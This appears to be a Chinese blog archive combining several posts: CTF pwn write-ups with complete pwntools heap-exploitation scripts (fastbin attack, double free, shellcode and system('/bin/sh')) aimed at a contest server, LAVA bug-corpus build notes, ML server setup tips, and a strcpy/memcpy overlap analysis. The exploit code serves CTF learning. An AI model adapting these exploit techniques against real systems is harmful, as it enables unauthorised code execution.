湖湘杯和红帽杯的比赛题目,把做的中比较有意思的记录一下,这个是线下
住的竟然是五星级宾馆,但65元水准的五星级自助餐就。。emmm
久违的菜单题,程序除了常规的1234选项外,还藏了一个选项5:
else
{
if ( v2 == 4 )
{
puts("bye!");
exit(0);
}
LABEL_16:
_fprintf_chk((__int64)stderr, 1LL, (__int64)"unknown options, foolish %s", (__int64)byte_202100);
fflush(stderr);
很关键。这里由于输入的name在byte_201000是0x50,结合前面的 字符正好0x69,能构造offbyone,可以这样构造overlap然后泄露程序libc地址然后fastbin attack。
程序的脆弱点是在这个地方,signed int 的v3存在整数溢出
v3 = getint();
if ( v3 > 3 )
{
fwrite("Invalid person :P\n", 1uLL, 0x12uLL, stderr);
fflush(stderr);
exit(0);
}
((void (__fastcall *)(__int64, _QWORD, _QWORD))*(&fastcaller + v3))(
a1,
*(_QWORD *)&pointer[4 * v2 + 2],
(unsigned int)pointer[4 * v2 + 1]);
这里有got表的函数的任意调用。注意:fprintf的格式化字符串输出是打在本地的,所以远程打的时候不能用这个泄露地址。这个题目中的got表中的很多函数是chk的版本,所以比如sprintf可以写入一个地址的。可以通过setbuf把stderr里写入堆块开始地址,从而可以和前面的选项5一起使用。
注:经大佬提醒,stderr的输出是默认不显示在远端的,但可以设置让其显示在远端。
一个base64,
然后system(“/bin/sh”)就能getshell,因为远端的defense是空的
这道题是修复方通过改defense来进行防御的
很好的出题思路,不过由于是AWD plus机制,没有起到应有效果
baby vm,之前没做过这种,比赛上强行做的一波,疯狂绕远路。
有一个指令是能putchar,造成任意读, 另一个指令getchar,构成任意写,最后的payload就是发一个字符串。类似’\x03’+’\x77’+p64(0x8048323)+’\x03’+..
湖湘杯和红帽杯的比赛题目,把做的中比较有意思的记录一下
静态编译的堆题。。好复杂。但大段大段的任意地址写。
没开PIE,但堆地址和栈地址是随机的
一开始是可以unlink的,改malloc到shellcode就行了。后来主办方更新了附件,unlink不了了
不过我一开始就没想用unlink做,所以受的影响不大(哈哈)
我的方法是使用两次fastbin attack,一次去改malloc_hook,一次去往固定地址写shellcode。
from pwn import *
context.arch="amd64"
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,content):
p.sendlineafter("-----------------","1")
p.sendlineafter("Size:",str(size))
p.sendafter("Note:",content)
def delete(idx):
p.sendlineafter("-----------------","2")
p.sendlineafter("Note:",str(idx))
def edit(idx,content):
p.sendlineafter("-----------------","3")
p.sendlineafter("Note:",str(idx))
p.sendafter("Note:",content)
def exploit():
add(0x18,"0"*0x18+"\n")
add(0x18,"1"*0x18+"\n")
add(0x38,"2"*0x18+"\n")
edit(0,"a"*0x18+"\n")
edit(0,"a"*0x18+'\x61'+"\n")
delete(1)
add(0x58,"3"*0x18+p64(0x41)+"b"*0x38+"\n")
delete(2)
edit(1,"3"*0x18+p64(0x41)+p64(0x6cb772)+"b"*0x30+"\n")
add(0x38,"\n")
add(0x38,"\x00"*6+"\n")#+p64(0x6ca790)+"\n")
add(0x18,"\n")
add(0x18,"0"*0x18+"\n")#4
add(0x68,"\n")#5
add(0x61,"\n")#6
edit(4,"a"*0x18+"\n")
edit(4,"a"*0x18+'\x91'+"\n")
#
delete(5)
add(0x88,"3"*0x18+p64(0x71)+"b"*0x48+"\n")
delete(4)
delete(6)
edit(5,"3"*0x18+p64(0x71)+p64(0x6cd63d)+"b"*0x30+"\n")
add(0x68,"4444"+"\n")
add(0x68,"\x00"*3+asm(shellcraft.sh())+"\n")
#gdb.attach(p)
edit(3,"\x00"*6+p64(0x6cd648)+'\n')
p.sendlineafter("-----------------","1")
p.sendlineafter("Size:",str(55))
p.interactive()
if __name__ == "__main__":
context.binary = "./HackNote2"
#context.terminal = ['tmux','sp','-h']
context.log_level = 'debug'
elf = ELF('./HackNote2')
debug =1
if debug==1:
p = remote('183.129.189.62',18004)
#libc=ELF('./libc-2.27.so')
exploit()
else:
p=process('./HackNote2')#,env={'LD_PRELOAD':'./libc-2.27.so'})
#libc = ELF('./libc-2.27.so')
exploit()
程序存在double free。在释放程序的倒数第二个块的时候会将倒数第一个块放过来,但是
每次写入都会在最后补0。尝试一次double free 改free_got位system然后爆破,由于函数中有00所以通不过?函数地址一定不能有00吗。。也不一定吧,反正通不过,一直爆破一直爆破,也就爆不出来。
所以还是尝试3次double free 泄露地址再改system
一次double free改list[0]为puts@got,一次改free@got为puts地址泄露libc,一次改free@got为system get shell。
from pwn import *
context.arch="amd64"
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,content):
p.sendlineafter("choice :","1")
p.sendlineafter("Size:",str(size))
p.sendafter("Name:",content)
def delete(idx):
p.sendlineafter("choice :","3")
p.sendlineafter("delete:",str(idx))
def exploit():
try :
#p = process("./NameSystem")
p = remote('183.129.189.62',17105)
for i in range(0,15):
add(0x18,"/bin/sh;\n")
for i in range(15,19):
add(0x50,"0"*0x10+"\n")
add(0x50,"0"*0x3+"\n")
delete(18)
delete(19)
delete(17)
delete(17)
add(0x58,p64(0x601ffa)+"\n")
add(0x58,"aaaa\n")
delete(0)
add(0x58,"aaa"+"\n")
delete(0)
add(0x58,"\x00"*14+'\x90\x33'+"\n")
delete(0)
p.interactive()
except:
p.close()
if __name__ == "__main__":
context.binary = "./NameSystem"
#context.terminal = ['tmux','sp','-h']
#context.log_level = 'debug'
elf = ELF('./NameSystem')
debug =1
if debug==0:
p = remote('183.129.189.62',17105)
#libc=ELF('./libc-2.27.so')
exploit()
else:
#,env={'LD_PRELOAD':'./libc-2.27.so'})
#libc = ELF('./libc-2.27.so')
while 1:
exploit()
lava运行,0/44,正好系统是刚安装过的,什么都没有,所以正好完整的记录一下过程(还好要到了root,省了好多事)
解压然后安装
sudo apt-get install libacl1-dev
然后运行 ./validate.sh,注意为其和core..文件夹下的configure文件添加执行权限。
由于在运行命令时将输出都重定向了&> /dev/null
,所以看不到问题,就很僵硬,一步一步单提出来运行试试。
第一步:报的WARNING: ‘aclocal-1.15’ is missing on your system.
安装Automake
wget http://ftp.gnu.org/gnu/automake/automake-1.16.tar.gz
tar -xvf automake-1.16.tar.gz
cd automake-1.16
./configure --docdir=/usr/share/doc/automake-1.16
make
make install
然后报错:build-aux/git-version-gen: Permission denied
解决方法:chmod 777 build-aux/git-version-gen
configure时爆错:configure: error: Autoconf 2.65 or better is required.
安装autoconf-2.68.tar.gz
wget http://ftp.gnu.org/gnu/autoconf/autoconf-latest.tar.gz
tar xzf autoconf-2.69.tar.gz
cd autoconf-2.69
./configure
make && make install
然后configure时报错:error: no acceptable m4 could be found in $PATH.
然后安装m4
wget http://ftp.gnu.org/gnu/m4/m4-1.4.9.tar.gz
tar -xvf m4-1.4.9.tar.gz
cd m4-1.4.9
./configure
make
make install
然后问题没解决。。
查资料需要运行autoreconf -vfi,需要autopoint,sudo apt-get install autopoint,然后发现版本不够,回去更新autoconf-latest。
然后再试autoreconf -vfi,注意要在base64/core..里运行,出错为build-aux/git-version-gen: Permission denied,sudo chmod 777 build-aux/git-version-gen,再运行通过
然后make clean,注意前面安装时要用sudo权限,但这里执行不要用
没有问题
报错gperf: command not found
sudo apt-get install gperf
然后报错 makeinfo: command not found
sudo apt-get install texinfo
没问题
ok
Building buggy base64...
Checking if buggy base64 succeeds on non-trigger input...
Success: base64 -d inputs/utmp.b64 returned 0
Validating bugs...
Validated 44 / 44 bugs
You can see validated.txt for the exit code of each buggy version.
不容易不容易
在core../lava-install/bin里能够找到编译完的程序。明明是base64,为啥编译了这么多。。
注意:虽然编译了这么多,不过将base64.c的文件夹用来测md5sum还是不行的,需要用md5sum的文件夹。。一开始想先用base64测测,没想到扩展时竟然在这卡了挺久。。
64位是20/28,据说32位没这问题
who的lava_get 插入的有些问题,who.c中需要改成如下,目录在coreutils-8.24-lava-safe/src/who.c 中。
unsigned int lava_get(unsigned int bug_num) {
#define SWAP_UINT32(x) (((x) >> 24) | (((x) & 0x00FF0000) >> 8) | (((x) & 0x0000FF00) << 8) | ((x) << 24))
if (0x6c617661 - bug_num == lava_val[bug_num] ||
SWAP_UINT32(0x6c617661 - bug_num) == lava_val[bug_num]) {
printf("Successfully triggered bug %d, crashing now!\n", bug_num);
fflush(0);
//exit(0);
}
else {
//printf("Not successful for bug %d; val = %08x not %08x or %08x\n", bug_num, lava_val[bug_num], 0x6c617661 + bug_num, 0x6176616c + bug_num);
}
return lava_val[bug_num];
}
命令行输入
export CC=afl-gcc
export CXX=afl-g++
./validate.sh
就可以生成afl版的,记得编译完要改回去,还有,在编译前要讲validate.sh里的输出地址改了
参考文章
本文提出了一种新颖的基于动态污染分析的技术 LAVA,它可以快速、自动地向程序源代码中注入大量实际的错误,从而生成地面真实语料库。形成了一个基础的方法,产生大量真实脆弱性库的需求,为工具开发人员提供了一个高质量的、严格的工具评估方法。
作为一个插入漏洞的工具,帮助检验漏洞检测工具是否有效
其漏洞的特点为:
希望使用它来组装大型语料库,用于评估和开发漏洞发现技术和系统。
识别执行跟踪位置,其中输入字节相关,不确定控制流,并且没有被修改太多。
在程序中添加代码,使得可控输入能够触发漏洞,lava通过一个程序中运行该程序下的动态污染分析得到一个具体的输入。
每个位置标记输入的影响,如果影响为0则是完全输入的拷贝。简单处理和未处理
另外一个基于污染的度量是活性,如果在与决定分支的任何字节相关联的污染标签集中找不到特定的输入字节标签,那么它的活性为0。
通常会选用简单而且低活性的位置,最好是输入的直接副本的位置且完全死亡的来使用。即利用死数据在攻击点注入 bug。
lava添加了一种确保每个错误只由一个特定输入触发的机制,最好使用各种不同的触发机制注入错误,会更全面的完成工具评估; 逐个比较输入字节将允许 coveragemaximizing fuzzers 通过一次猜测一个字节来增量地发现 bug,而不必一次猜测整个32位触发器。
文中提到,使用不太安全的strcpy和strncpy以及替换memcpy使用的数据的大小都能够生成漏洞,这种漏洞产生方法很简单但是许多这样的转换将严重损害程序的正确性,以至于在每个输入上都会崩溃。
Keromytis (Keromytis et al. Tunable cyber defensive security mechanisms,https://www.sbir.gov/sbirsearch/detail/825791, August 2015 )提出了一个更复杂的方法: 有针对性的符号执行可以用来找到有潜在危险但目前安全的程序路径; 然后可以分析符号路径约束,并用来删除目前防止 bug 的输入检查。 但这使用到符号执行,会导致庞大的计算成本。
LAVA 采用的方法计算成本较低ーー其最昂贵的步骤是动态污染分析,每个输入文件只需进行一次。 每个经过验证的 bug 都保证带有一个触发输入。
原文中在file,bash,readelf和tshark上进行了效果测试
LAVA-1这个语料库由69个缓冲区溢出错误组成,这些错误被注入源代码中,每个错误在 git 仓库中的不同分支上,输入的模糊版本经过验证,随代码一起引发崩溃检查。 注入了两种类型的缓冲区溢出,每种类型都使用单个4字节的 DUA 来触发和控制溢出
触发器和旋钮
在这种类型的 bug 中,对4个字节,两个为旋钮,2个为触发器,使用 触发器的两个字节对一个魔术字进行比对,以确定是否会发生溢出。 旋钮决定溢出多少。 因此,如果输入中的2字节无符号整数是一个特定的值,但只有当输入中的另外2字节大到足以引起麻烦时,这些错误才会显现出来。
范围
如果魔术字只是在某个范围内,这些 bug 就会触发,但是也会使用神奇值来确定溢出的程度。 神奇的值是一个4字节的无符号整数,范围不同
LAVA-M 语料库是8.24版本的源代码的四个副本。 一份拷贝有44个 bug 注入 base64,并且有44个已知的单独触发这些 bug 的输入。 另一个版本在 md5sum 中有57个 bug,第三个版本在 uniq 中有28个 bug。 最后,还有一个副本,其中同时存在2136个 bug,并且可以在 who 中单独表示
针对每个程序运行 FUZZER 和 SES,每个程序有5个小时的运行时间。 Md5sum 使用 -c 参数运行,以检查文件中的摘要。 Base64运行 d 参数,解码基数64。
Ses 在 uniq 或 md5sum 中没有发现 bug。 在 uniq 中,我们认为这是因为控制流过于不受约束。 在 md5sum 中,SES 未能执行超过哈希函数第一个实例的任何代码。base64上有效果, 该工具在44个插入的 bug 中找出了9个 base64中的 bug; 这些 bug 包括深度和浅度的 bug,因为 base64是一个分析起来非常简单的程序。 Ses 的结果对于谁来说有点复杂。 它为使用两个 DUAs 中的一个的用户找到所有的 bug,并且所有这些 bug 都在跟踪的早期发生。 我们的方法同时注入多个 bug 的一个缺陷是多个 bug 共享同一个攻击点。 这能否很好地代表真正的 bug 还有待商榷。 实际上,这意味着 SES 只能在每个攻击点发现一个 bug,因为在同一个攻击点发现一个额外的 bug 并不一定需要覆盖新的代码。 Lava 当然可以改变,使每个 bug 都包含新的代码覆盖。 Ses 还可以得到改进,以找到每个攻击点的所有缺陷,这意味着为同一组条件生成多个满意的输入。
Fuzzer 在除了who之外的所有实用程序中都发现了错误。与 SES 不同,这些错误在整个程序中的分布相当均匀,因为它们只依赖于猜测输入文件中正确位置的4字节触发器。 Fuzzer 未能找到令人惊讶的漏洞。 我们推测用于模糊器的种子文件(utmp 文件的前768字节)可能太大,无法通过随机变异进行有效探索,但需要进行更多的调查以确定真正的原因。 事实上,这类工具异常正是人们希望在 LAVA 中发现的类型,因为它们代表了工具可能很容易获得收益的领域。 我们注意到 FUZZER 和 SES 发现的 bug 几乎没有重叠(两个工具都只发现了2个 bug)。 这是一个非常有希望的结果,因为它表明,各种错误创建的lava不是只适合一个特定的错误发现策略。
注入其他类型的 bug,例如时间安全 bug (use-after-free)和元字符 bug (例如格式化字符串)。
很可能某些类型的错误是不能通过基于污染的措施注射的。 例如,逻辑错误、加密缺陷和侧通道漏洞,所有这些似乎都在一个相当不同的层次上运行,而这些层次上的数据流触发的漏洞 LAVA 正好位于产生的位置。
LAVA 会引入未初始化的 bug,比如代码中未初始化指针的后用免费和解引用,这些指针会从 DUA 值上吸取信息,以便以后用于触发 bug。 在某些情况下,正在评估的工具甚至发现了这些真正的错误,是由LAVA造成的
在我们对漏洞发现工具的初步评估中,我们只测量了失误率; 没有尝试去测量虚警率。 对于生成触发输入的工具,就像 SES 和 FUZZER 一样,测量虚警率应该是微不足道的。 但在静态分析器和抽象释义分析器上就很重要。
由于机器学习所用的服务器一般是多人公用,所以很多地方涉及到低权限用户无法操作的问题,因此来记录一下。
Anaconda就相当于预装了很多环境,所以用来垫基础,这是清华的源
https://mirrors.tuna.tsinghua.edu.cn/help/anaconda/
在其中的bin中有pip,可以将其目录添加到path中
export PATH=$PATH:/home/user/anaconda3/bin
source ~/.bashrc
chmod +x 然后./运行
只安装toolkit
export PATH=$HOME/cuda-10.0/bin:$PATH
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$HOME/cuda-10.0/lib64/
source ~/.bashrc
使用cuda-toolkit 看 安没安好
https://developer.nvidia.com/rdp/cudnn-download
cp cuda/include/cudnn.h include/
cp cuda/lib64/libcudnn* lib64/
chmod a+r include/cudnn.h lib64/libcudnn*
cat include/cuann.h | grep CUDNN_MAJOR -A5
pip install tensorflow-gpu.
安装的是python3的版本
failed to allocate 200.06M (209780736 bytes) from device: CUDA_ERROR_OUT_OF_MEMORY: out of memory
限定使用的GPU
import os
os.environ['CUDA_VISIBLE_DEVICES']='1'
用不了pip时的替代
python2.7 -m pip install 可替换pip install。
which python 查看使用的是哪个python,发现sudo which python和which python不是一个,导致了安装的环境不能正常使用的问题。
因此,将sudo的 python指向的位置改为了自己python的位置,使用软链接
sudo cp /usr/bin/python /usr/bin/python_bak
sudo rm /usr/bin/python
sudo ln -s /data/xxx/anaconda3/bin/python /usr/bin/python
另:如何将用户放入sudo组:
修改/etc/sudoers
strcpy函数是string.h中的一个字符串拷贝的函数,估计大家都很常用到就不多说了。
起因是注意到了这样的情况:如果strcpy(buf,buf+1),即复制的地址有重叠的话,会出现复制数据的结果有问题的情况,所以就对strcpy的实现方式进行了分析。
注意:本分析中的情况只适用于32位程序,即gcc -m32 11.c -o 11编译出来的程序,而64位编译出来的程序则不会出现这样的问题。具体原因会在下面进行说明。
// gcc -m32 11.c -o 11 ok 234678901234567789012345678901234
// gcc 11.c -o 11 fail 234567890123456789012345678901234
#include <stdio.h>
#include <string.h>
int main()
{
unsigned char buf[0x100] = "1234567890123456789012345678901234";
strcpy(buf, buf + 1);
puts(buf);
return 0;
}
如上代码所示,为32位编译和64位编译的不同结果。
可见32位情况下存在着重叠产生错误的情况。
32位情况下的执行为:
1、 首先判断字符串长度是否小于16,如果是,则直接进入步骤5;如不是,进入步骤2。
2、 将前16个字符进行复制。
0xf7e88ec5 <__strcpy_sse2+181> movdqu xmm1, xmmword ptr [ecx]
0xf7e88ec9 <__strcpy_sse2+185> movdqu xmmword ptr [edx], xmm1
此时ecx值为0x1c,edx为0x1d,23456789 01234567 78901234 56789012 34
3、 对字符串进行对齐操作,将原字符串的下一个0x10位置找到,作为ecx的值0x20
0xf7e88ef0 <__strcpy_sse2+224> movdqa xmm1, xmmword ptr [ecx]
► 0xf7e88ef4 <__strcpy_sse2+228> movaps xmm2, xmmword ptr [ecx + 0x10]
0xf7e88ef8 <__strcpy_sse2+232> movdqu xmmword ptr [edx], xmm1
然后进行复制,
此时ecx为0x20,edx为0x1f,23467890 12345677 89001234 56789012 34
4、如果其值长度还是超长,则会继续进行复制,这里倒是很安全,和64位的处理方式是一样的,把新值放入新的寄存器,然后把旧寄存器的值复制过去。
0xf7e88f0f <__strcpy_sse2+255> movaps xmm3, xmmword ptr [ecx + ebx + 0x10]
0xf7e88f14 <__strcpy_sse2+260> movdqu xmmword ptr [edx + ebx], xmm2
5、对于字符串最后的部分,用如下的方式将值复制过去。
movlpd xmm0, qword ptr [ecx]
movlpd qword ptr [edx], xmm0
movlpd xmm0, qword ptr [ecx+6]
movlpd qword ptr [edx+6], xmm0
较短的时候用这个
0xf7e89150 <__strcpy_sse2+832> mov ax, word ptr [ecx]
0xf7e89153 <__strcpy_sse2+835> mov word ptr [edx], ax
► 0xf7e89156 <__strcpy_sse2+838> mov al, byte ptr [ecx + 2]
0xf7e89159 <__strcpy_sse2+841> mov byte ptr [edx + 2], al
可以发现,出现故障的原因是在于在对齐的时候,使用了已在前16字符进行了覆盖的字符,导致这个的覆盖出现了错误。而在64位的系统中,则不存在这种问题,字符串从一开始就是对齐了的,所以就没有问题。
因此,如果强行将字符串不对齐,则也会出现这样的问题,如
#include <stdio.h>
#include <string.h>
int main()
{
unsigned char buf[0x100] = "12345678901234567890123456789012345678";
strcpy(buf+1, buf + 2);
puts(buf);
return 0;
}
最终结果是1345678901234568890123456789012345678。
memcpy也是有同样的问题,不过这个64位是真没有问题。
但这个对齐操作就很迷了
#include <stdio.h>
#include <string.h>
int main()
{
unsigned char buf[0x100] = "12345678901234567890123456789012345678";
memcpy(buf+1, buf + 2,35);
//strcpy(buf+1,buf+2)
puts(buf);
return 0;
}
strcpy操作:1346789012345678890123456789012345678
memcpy:13457890123456788902345678901234556778
memcpy的这个是怎么处理的,。看不懂是真的。
0xf7f28dcc <__memcpy_sse2_unaligned+76> movdqu xmm0, xmmword ptr [eax + 0x10]
0xf7f28dd1 <__memcpy_sse2_unaligned+81> movdqu xmm1, xmmword ptr [eax + ecx - 0x20]
0xf7f28dd7 <__memcpy_sse2_unaligned+87> cmp ecx, 0x40
0xf7f28dda <__memcpy_sse2_unaligned+90> movdqu xmmword ptr [edx + 0x10], xmm0
0xf7f28ddf <__memcpy_sse2_unaligned+95> movdqu xmmword ptr [edx + ecx - 0x20], xmm1
memcpy的处理逻辑,ecx为长度,所以,memecpy是从头和尾两方向进行的memcpy,先是0x20,复制前0x10和后0x10,然后是这个。因此长度小于0x20时就不会有问题。